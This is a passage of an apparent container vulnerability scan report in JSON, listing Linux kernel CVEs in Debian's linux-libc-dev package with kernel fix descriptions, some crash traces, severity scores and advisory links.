"PrimaryURL": "https://avd.aquasec.com/nvd/cve-2023-52452", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:be5e7ceea5bf03a714ebc5f3789e943c874b6b802b24018092d0f8d4bcbc4533", "Title": "kernel: bpf: Fix accesses to uninit stack slots", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Fix accesses to uninit stack slots\n\nPrivileged programs are supposed to be able to read uninitialized stack\nmemory (ever since 6715df8d5) but, before this patch, these accesses\nwere permitted inconsistently. In particular, accesses were permitted\nabove state-\u003eallocated_stack, but not below it. In other words, if the\nstack was already \"large enough\", the access was permitted, but\notherwise the access was rejected instead of being allowed to \"grow the\nstack\". This undesired rejection was happening in two places:\n- in check_stack_slot_within_bounds()\n- in check_stack_range_initialized()\nThis patch arranges for these accesses to be permitted. A bunch of tests\nthat were relying on the old rejection had to change; all of them were\nchanged to add also run unprivileged, in which case the old behavior\npersists. One tests couldn't be updated - global_func16 - because it\ncan't run unprivileged for other reasons.\n\nThis patch also fixes the tracking of the stack size for variable-offset\nreads. This second fix is bundled in the same commit as the first one\nbecause they're inter-related. Before this patch, writes to the stack\nusing registers containing a variable offset (as opposed to registers\nwith fixed, known values) were not properly contributing to the\nfunction's needed stack size. As a result, it was possible for a program\nto verify, but then to attempt to read out-of-bounds data at runtime\nbecause a too small stack had been allocated for it.\n\nEach function tracks the size of the stack it needs in\nbpf_subprog_info.stack_depth, which is maintained by\nupdate_stack_depth(). For regular memory accesses, check_mem_access()\nwas calling update_state_depth() but it was passing in only the fixed\npart of the offset register, ignoring the variable offset. This was\nincorrect; the minimum possible value of that register should be used\ninstead.\n\nThis tracking is now fixed by centralizing the tracking of stack size in\ngrow_stack_state(), and by lifting the calls to grow_stack_state() to\ncheck_stack_access_within_bounds() as suggested by Andrii. The code is\nnow simpler and more convincingly tracks the correct maximum stack size.\ncheck_stack_range_initialized() can now rely on enough stack having been\nallocated for the access; this helps with the fix for the first issue.\n\nA few tests were changed to also check the stack depth computation. The\none that fails without this patch is verifier_var_off:stack_write_priv_vs_unpriv.", "Severity": "HIGH", "CweIDs": [ "CWE-665" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "V3Score": 6.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2023-52452", "https://git.kernel.org/stable/c/0954982db8283016bf38e9db2da5adf47a102e19", "https://git.kernel.org/stable/c/6b4a64bafd107e521c01eec3453ce94a3fb38529", "https://git.kernel.org/stable/c/bf32eaf5093dc1c24ccc26b14c3422f6dfcc5236", "https://git.kernel.org/stable/c/fbcf372c8eda2290470268e0afb5ab5d5f5d5fde", "https://lore.kernel.org/linux-cve-announce/2024022258-CVE-2023-52452-7904@gregkh/T/#u", "https://nvd.nist.gov/vuln/detail/CVE-2023-52452", "https://ubuntu.com/security/notices/USN-6818-1", "https://ubuntu.com/security/notices/USN-6818-2", "https://ubuntu.com/security/notices/USN-6818-3", "https://ubuntu.com/security/notices/USN-6818-4", "https://ubuntu.com/security/notices/USN-6819-1", "https://ubuntu.com/security/notices/USN-6819-2", "https://ubuntu.com/security/notices/USN-6819-3", "https://ubuntu.com/security/notices/USN-6819-4", "https://www.cve.org/CVERecord?id=CVE-2023-52452" ], "PublishedDate": "2024-02-22T17:15:08.83Z", "LastModifiedDate": "2026-10-30T13:17:14.79Z" }, { "VulnerabilityID": "CVE-2023-52586", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2023-52586", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2a217dcf3714125c26bc82fd5a2048a9ffc7fdb77666bd046e9635f0ddf6290a", "Title": "kernel: drm/msm/dpu: Add mutex lock in control vblank irq", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/msm/dpu: Add mutex lock in control vblank irq\n\nAdd a mutex lock to control vblank irq to synchronize vblank\nenable/disable operations happening from different threads to prevent\nrace conditions while registering/unregistering the vblank irq callback.\n\nv4: -Removed vblank_ctl_lock from dpu_encoder_virt, so it is only a\n parameter of dpu_encoder_phys.\n -Switch from atomic refcnt to a simple int counter as mutex has\n now been added\nv3: Mistakenly did not change wording in last version. It is done now.\nv2: Slightly changed wording of commit message\n\nPatchwork: https://patchwork.freedesktop.org/patch/571854/", "Severity": "HIGH", "CweIDs": [ "CWE-362" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "V3Score": 6.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2023-52586", "https://git.kernel.org/linus/45284ff733e4caf6c118aae5131eb7e7cf3eea5a%20%286.8-rc1%29", "https://git.kernel.org/stable/c/14f109bf74dd67e1d0469fed859c8e506b0df53f", "https://git.kernel.org/stable/c/45284ff733e4caf6c118aae5131eb7e7cf3eea5a", "https://git.kernel.org/stable/c/763ca8d84f34d1db00d5750f77e6001765916d44", "https://git.kernel.org/stable/c/f6dd625053726ea2a209282bee97218f2ec04149", "https://lore.kernel.org/linux-cve-announce/2024030644-CVE-2023-52586-3ecb@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2023-52586", "https://www.cve.org/CVERecord?id=CVE-2023-52586" ], "PublishedDate": "2024-03-06T07:15:07.443Z", "LastModifiedDate": "2026-10-30T13:17:15.433Z" }, { "VulnerabilityID": "CVE-2023-52624", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2023-52624", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3a94dacabc60036e7ac3c992bbbbb4fba8f255b75610eeabfa38677934386c2c", "Title": "kernel: drm/amd/display: Wake DMCUB before executing GPINT commands", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Wake DMCUB before executing GPINT commands\n\n[Why]\nDMCUB can be in idle when we attempt to interface with the HW through\nthe GPINT mailbox resulting in a system hang.\n\n[How]\nAdd dc_wake_and_execute_gpint() to wrap the wake, execute, sleep\nsequence.\n\nIf the GPINT executes successfully then DMCUB will be put back into\nsleep after the optional response is returned.\n\nIt functions similar to the inbox command interface.", "Severity": "HIGH", "CweIDs": [ "CWE-77" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 2, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2023-52624", "https://git.kernel.org/linus/e5ffd1263dd5b44929c676171802e7b6af483f21%20%286.8-rc1%29", "https://git.kernel.org/stable/c/2ef98c6d753a744e333b7e34b9cf687040fba57d", "https://git.kernel.org/stable/c/e5ffd1263dd5b44929c676171802e7b6af483f21", "https://linux.oracle.com/cve/CVE-2023-52624.html", "https://linux.oracle.com/errata/ELSA-2024-9315.html", "https://lore.kernel.org/linux-cve-announce/20240326175007.1388794-10-lee@kernel.org/T", "https://nvd.nist.gov/vuln/detail/CVE-2023-52624", "https://www.cve.org/CVERecord?id=CVE-2023-52624" ], "PublishedDate": "2024-03-26T18:15:08.99Z", "LastModifiedDate": "2026-06-17T06:43:11.693Z" }, { "VulnerabilityID": "CVE-2023-52751", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2023-52751", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1e1c3a313a68453b920304e54c7439f815ad6a7cd4c5c72834f1bb833616580e", "Title": "kernel: smb: client: fix use-after-free in smb2_query_info_compound()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix use-after-free in smb2_query_info_compound()\n\nThe following UAF was triggered when running fstests generic/072 with\nKASAN enabled against Windows Server 2022 and mount options\n'multichannel,max_channels=2,vers=3.1.1,mfsymlinks,noperm'\n\n BUG: KASAN: slab-use-after-free in smb2_query_info_compound+0x423/0x6d0 [cifs]\n Read of size 8 at addr ffff888014941048 by task xfs_io/27534\n\n CPU: 0 PID: 27534 Comm: xfs_io Not tainted 6.6.0-rc7 #1\n Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS\n rel-1.16.2-3-gd478f380-rebuilt.opensuse.org 04/01/2014\n Call Trace:\n dump_stack_lvl+0x4a/0x80\n print_report+0xcf/0x650\n ? srso_alias_return_thunk+0x5/0x7f\n ? srso_alias_return_thunk+0x5/0x7f\n ? __phys_addr+0x46/0x90\n kasan_report+0xda/0x110\n ? smb2_query_info_compound+0x423/0x6d0 [cifs]\n ? smb2_query_info_compound+0x423/0x6d0 [cifs]\n smb2_query_info_compound+0x423/0x6d0 [cifs]\n ? __pfx_smb2_query_info_compound+0x10/0x10 [cifs]\n ? srso_alias_return_thunk+0x5/0x7f\n ? __stack_depot_save+0x39/0x480\n ? kasan_save_stack+0x33/0x60\n ? kasan_set_track+0x25/0x30\n ? ____kasan_slab_free+0x126/0x170\n smb2_queryfs+0xc2/0x2c0 [cifs]\n ? __pfx_smb2_queryfs+0x10/0x10 [cifs]\n ? __pfx___lock_acquire+0x10/0x10\n smb311_queryfs+0x210/0x220 [cifs]\n ? __pfx_smb311_queryfs+0x10/0x10 [cifs]\n ? srso_alias_return_thunk+0x5/0x7f\n ? __lock_acquire+0x480/0x26c0\n ? lock_release+0x1ed/0x640\n ? srso_alias_return_thunk+0x5/0x7f\n ? do_raw_spin_unlock+0x9b/0x100\n cifs_statfs+0x18c/0x4b0 [cifs]\n statfs_by_dentry+0x9b/0xf0\n fd_statfs+0x4e/0xb0\n __do_sys_fstatfs+0x7f/0xe0\n ? __pfx___do_sys_fstatfs+0x10/0x10\n ? srso_alias_return_thunk+0x5/0x7f\n ? lockdep_hardirqs_on_prepare+0x136/0x200\n ? srso_alias_return_thunk+0x5/0x7f\n do_syscall_64+0x3f/0x90\n entry_SYSCALL_64_after_hwframe+0x6e/0xd8\n\n Allocated by task 27534:\n kasan_save_stack+0x33/0x60\n kasan_set_track+0x25/0x30\n __kasan_kmalloc+0x8f/0xa0\n open_cached_dir+0x71b/0x1240 [cifs]\n smb2_query_info_compound+0x5c3/0x6d0 [cifs]\n smb2_queryfs+0xc2/0x2c0 [cifs]\n smb311_queryfs+0x210/0x220 [cifs]\n cifs_statfs+0x18c/0x4b0 [cifs]\n statfs_by_dentry+0x9b/0xf0\n fd_statfs+0x4e/0xb0\n __do_sys_fstatfs+0x7f/0xe0\n do_syscall_64+0x3f/0x90\n entry_SYSCALL_64_after_hwframe+0x6e/0xd8\n\n Freed by task 27534:\n kasan_save_stack+0x33/0x60\n kasan_set_track+0x25/0x30\n kasan_save_free_info+0x2b/0x50\n ____kasan_slab_free+0x126/0x170\n slab_free_freelist_hook+0xd0/0x1e0\n __kmem_cache_free+0x9d/0x1b0\n open_cached_dir+0xff5/0x1240 [cifs]\n smb2_query_info_compound+0x5c3/0x6d0 [cifs]\n smb2_queryfs+0xc2/0x2c0 [cifs]\n\nThis is a race between open_cached_dir() and cached_dir_lease_break()\nwhere the cache entry for the open directory handle receives a lease\nbreak while creating it. And before returning from open_cached_dir(),\nwe put the last reference of the new @cfid because of\n!@cfid-\u003ehas_lease.\n\nBesides the UAF, while running xfstests a lot of missed lease breaks\nhave been noticed in tests that run several concurrent statfs(2) calls\non those cached fids\n\n CIFS: VFS: \\\\w22-root1.gandalf.test No task to wake, unknown frame...\n CIFS: VFS: \\\\w22-root1.gandalf.test Cmd: 18 Err: 0x0 Flags: 0x1...\n CIFS: VFS: \\\\w22-root1.gandalf.test smb buf 00000000715bfe83 len 108\n CIFS: VFS: Dump pending requests:\n CIFS: VFS: \\\\w22-root1.gandalf.test No task to wake, unknown frame...\n CIFS: VFS: \\\\w22-root1.gandalf.test Cmd: 18 Err: 0x0 Flags: 0x1...\n CIFS: VFS: \\\\w22-root1.gandalf.test smb buf 000000005aa7316e len 108\n ...\n\nTo fix both, in open_cached_dir() ensure that @cfid-\u003ehas_lease is set\nright before sending out compounded request so that any potential\nlease break will be get processed by demultiplex thread while we're\nstill caching @cfid. And, if open failed for some reason, re-check\n@cfid-\u003ehas_lease to decide whether or not put lease reference.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 2, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2023-52751", "https://git.kernel.org/linus/5c86919455c1edec99ebd3338ad213b59271a71b%20%286.7-rc1%29", "https://git.kernel.org/stable/c/06c106e1e8568e840c946cc0222579e3d29dab8e", "https://git.kernel.org/stable/c/5c86919455c1edec99ebd3338ad213b59271a71b", "https://git.kernel.org/stable/c/6db94d08359c43f2c8fe372811cdee04564a41b9", "https://git.kernel.org/stable/c/93877b9afc2994c89362007aac480a7b150f386f", "https://linux.oracle.com/cve/CVE-2023-52751.html", "https://linux.oracle.com/errata/ELSA-2024-9315.html", "https://lore.kernel.org/linux-cve-announce/2024052144-CVE-2023-52751-69df@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2023-52751", "https://ubuntu.com/security/notices/USN-7123-1", "https://ubuntu.com/security/notices/USN-7194-1", "https://www.cve.org/CVERecord?id=CVE-2023-52751" ], "PublishedDate": "2024-05-21T16:15:14.763Z", "LastModifiedDate": "2026-10-30T13:17:16.38Z" }, { "VulnerabilityID": "CVE-2023-53218", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2023-53218", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0eec2b9dd8e3c7444a5ce7ecefe5c775cfa59afb95c800368fcf7c1ac7139525", "Title": "kernel: rxrpc: Make it so that a waiting process can be aborted", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nrxrpc: Make it so that a waiting process can be aborted\n\nWhen sendmsg() creates an rxrpc call, it queues it to wait for a connection\nand channel to be assigned and then waits before it can start shovelling\ndata as the encrypted DATA packet content includes a summary of the\nconnection parameters.\n\nHowever, sendmsg() may get interrupted before a connection gets assigned\nand further sendmsg() calls will fail with EBUSY until an assignment is\nmade.\n\nFix this so that the call can at least be aborted without failing on\nEBUSY. We have to be careful here as sendmsg() mustn't be allowed to start\nthe call timer if the call doesn't yet have a connection assigned as an\noops may follow shortly thereafter.", "Severity": "HIGH", "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H", "V3Score": 5.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2023-53218", "https://git.kernel.org/linus/0eb362d254814ce04848730bf32e75b8ee1a4d6c%20%286.4-rc1%29", "https://git.kernel.org/stable/c/0eb362d254814ce04848730bf32e75b8ee1a4d6c", "https://git.kernel.org/stable/c/7161cf61c64e9e9413d790f2fa2b9dada71a2249", "https://git.kernel.org/stable/c/876d96faacbc407daf4978d7ec95051b68f5344a", "https://lore.kernel.org/linux-cve-announce/2025091512-CVE-2023-53218-0fca@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2023-53218", "https://www.cve.org/CVERecord?id=CVE-2023-53218" ], "PublishedDate": "2025-09-15T15:15:48.51Z", "LastModifiedDate": "2026-06-17T06:44:32.28Z" }, { "VulnerabilityID": "CVE-2023-53510", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2023-53510", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:be242119a0790bc1d4cebc36478cfd4c68bc1a2a79179589a57b91521629dcd2", "Title": "kernel: scsi: ufs: core: Fix handling of lrbp-\u003ecmd", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: ufs: core: Fix handling of lrbp-\u003ecmd\n\nufshcd_queuecommand() may be called two times in a row for a SCSI command\nbefore it is completed. Hence make the following changes:\n\n - In the functions that submit a command, do not check the old value of\n lrbp-\u003ecmd nor clear lrbp-\u003ecmd in error paths.\n\n - In ufshcd_release_scsi_cmd(), do not clear lrbp-\u003ecmd.\n\nSee also scsi_send_eh_cmnd().\n\nThis commit prevents that the following appears if a command times out:\n\nWARNING: at drivers/ufs/core/ufshcd.c:2965 ufshcd_queuecommand+0x6f8/0x9a8\nCall trace:\n ufshcd_queuecommand+0x6f8/0x9a8\n scsi_send_eh_cmnd+0x2c0/0x960\n scsi_eh_test_devices+0x100/0x314\n scsi_eh_ready_devs+0xd90/0x114c\n scsi_error_handler+0x2b4/0xb70\n kthread+0x16c/0x1e0", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L", "V3Score": 2.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2023-53510", "https://git.kernel.org/linus/549e91a9bbaa0ee480f59357868421a61d369770%20%286.5-rc1%29", "https://git.kernel.org/stable/c/49234a401e161a2f2698f4612ab792c49b3cad1b", "https://git.kernel.org/stable/c/549e91a9bbaa0ee480f59357868421a61d369770", "https://git.kernel.org/stable/c/b6d76d63c6d21d5d26c301a46853a2aee72397d5", "https://git.kernel.org/stable/c/f3ee24af62681b942bbd799ac77b90a6d7e1fdb1", "https://lore.kernel.org/linux-cve-announce/2025100130-CVE-2023-53510-9e6a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2023-53510", "https://www.cve.org/CVERecord?id=CVE-2023-53510" ], "PublishedDate": "2025-10-01T12:15:54.88Z", "LastModifiedDate": "2026-08-04T10:19:10.087Z" }, { "VulnerabilityID": "CVE-2023-54125", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2023-54125", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:16d7c8f2fb5f31976261b6a671c7e2e74b33bb1c18cb187b877f7ae824f73215", "Title": "kernel: Linux kernel: Use-after-free in NTFS driver via inconsistent extended attributes", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs/ntfs3: Return error for inconsistent extended attributes\n\nntfs_read_ea is called when we want to read extended attributes. There\nare some sanity checks for the validity of the EAs. However, it fails to\nreturn a proper error code for the inconsistent attributes, which might\nlead to unpredicted memory accesses after return.\n\n[ 138.916927] BUG: KASAN: use-after-free in ntfs_set_ea+0x453/0xbf0\n[ 138.923876] Write of size 4 at addr ffff88800205cfac by task poc/199\n[ 138.931132]\n[ 138.933016] CPU: 0 PID: 199 Comm: poc Not tainted 6.2.0-rc1+ #4\n[ 138.938070] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014\n[ 138.947327] Call Trace:\n[ 138.949557] \u003cTASK\u003e\n[ 138.951539] dump_stack_lvl+0x4d/0x67\n[ 138.956834] print_report+0x16f/0x4a6\n[ 138.960798] ? ntfs_set_ea+0x453/0xbf0\n[ 138.964437] ? kasan_complete_mode_report_info+0x7d/0x200\n[ 138.969793] ? ntfs_set_ea+0x453/0xbf0\n[ 138.973523] kasan_report+0xb8/0x140\n[ 138.976740] ? ntfs_set_ea+0x453/0xbf0\n[ 138.980578] __asan_store4+0x76/0xa0\n[ 138.984669] ntfs_set_ea+0x453/0xbf0\n[ 138.988115] ? __pfx_ntfs_set_ea+0x10/0x10\n[ 138.993390] ? kernel_text_address+0xd3/0xe0\n[ 138.998270] ? __kernel_text_address+0x16/0x50\n[ 139.002121] ? unwind_get_return_address+0x3e/0x60\n[ 139.005659] ? __pfx_stack_trace_consume_entry+0x10/0x10\n[ 139.010177] ? arch_stack_walk+0xa2/0x100\n[ 139.013657] ? filter_irq_stacks+0x27/0x80\n[ 139.017018] ntfs_setxattr+0x405/0x440\n[ 139.022151] ? __pfx_ntfs_setxattr+0x10/0x10\n[ 139.026569] ? kvmalloc_node+0x2d/0x120\n[ 139.030329] ? kasan_save_stack+0x41/0x60\n[ 139.033883] ? kasan_save_stack+0x2a/0x60\n[ 139.037338] ? kasan_set_track+0x29/0x40\n[ 139.040163] ? kasan_save_alloc_info+0x1f/0x30\n[ 139.043588] ? __kasan_kmalloc+0x8b/0xa0\n[ 139.047255] ? __kmalloc_node+0x68/0x150\n[ 139.051264] ? kvmalloc_node+0x2d/0x120\n[ 139.055301] ? vmemdup_user+0x2b/0xa0\n[ 139.058584] __vfs_setxattr+0x121/0x170\n[ 139.062617] ? __pfx___vfs_setxattr+0x10/0x10\n[ 139.066282] __vfs_setxattr_noperm+0x97/0x300\n[ 139.070061] __vfs_setxattr_locked+0x145/0x170\n[ 139.073580] vfs_setxattr+0x137/0x2a0\n[ 139.076641] ? __pfx_vfs_setxattr+0x10/0x10\n[ 139.080223] ? __kasan_check_write+0x18/0x20\n[ 139.084234] do_setxattr+0xce/0x150\n[ 139.087768] setxattr+0x126/0x140\n[ 139.091250] ? __pfx_setxattr+0x10/0x10\n[ 139.094948] ? __virt_addr_valid+0xcb/0x140\n[ 139.097838] ? __call_rcu_common.constprop.0+0x1c7/0x330\n[ 139.102688] ? debug_smp_processor_id+0x1b/0x30\n[ 139.105985] ? kasan_quarantine_put+0x5b/0x190\n[ 139.109980] ? putname+0x84/0xa0\n[ 139.113886] ? __kasan_slab_free+0x11e/0x1b0\n[ 139.117961] ? putname+0x84/0xa0\n[ 139.121316] ? preempt_count_sub+0x1c/0xd0\n[ 139.124427] ? __mnt_want_write+0xae/0x100\n[ 139.127836] ? mnt_want_write+0x8f/0x150\n[ 139.130954] path_setxattr+0x164/0x180\n[ 139.133998] ? __pfx_path_setxattr+0x10/0x10\n[ 139.137853] ? __pfx_ksys_pwrite64+0x10/0x10\n[ 139.141299] ? debug_smp_processor_id+0x1b/0x30\n[ 139.145714] ? fpregs_assert_state_consistent+0x6b/0x80\n[ 139.150796] __x64_sys_setxattr+0x71/0x90\n[ 139.155407] do_syscall_64+0x3f/0x90\n[ 139.159035] entry_SYSCALL_64_after_hwframe+0x72/0xdc\n[ 139.163843] RIP: 0033:0x7f108cae4469\n[ 139.166481] Code: 00 f3 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 088\n[ 139.183764] RSP: 002b:00007fff87588388 EFLAGS: 00000286 ORIG_RAX: 00000000000000bc\n[ 139.190657] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f108cae4469\n[ 139.196586] RDX: 00007fff875883b0 RSI: 00007fff875883d1 RDI: 00007fff875883b6\n[ 139.201716] RBP: 00007fff8758c530 R08: 0000000000000001 R09: 00007fff8758c618\n[ 139.207940] R10: 0000000000000006 R11: 0000000000000286 R12: 00000000004004c0\n[ 139.214007] R13: 00007fff8758c610 R14: 0000000000000000 R15\n---truncated---", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2023-54125", "https://git.kernel.org/stable/c/1474098b590a426d90f27bb992f17c326e0b60c1", "https://git.kernel.org/stable/c/486666c2c2714788705d02d98d0332c8a2328575", "https://git.kernel.org/stable/c/6557c4504c5a1bbbbac25d14d7dcf2a4912d1508", "https://git.kernel.org/stable/c/c9db0ff04649aa0b45f497183c957fe260f229f6", "https://lore.kernel.org/linux-cve-announce/2025122418-CVE-2023-54125-2085@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2023-54125", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2023-54125" ], "PublishedDate": "2025-12-24T13:16:14.473Z", "LastModifiedDate": "2026-08-04T10:19:30.173Z" }, { "VulnerabilityID": "CVE-2023-7356", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2023-7356", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9cf34e521e1c30ffeecf6c8becae94910a013c57874dced42a83d7fc49f50db0", "Title": "kernel: Bluetooth: ISO: Copy BASE if service data matches EIR_BAA_SERVICE_UUID", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: ISO: Copy BASE if service data matches 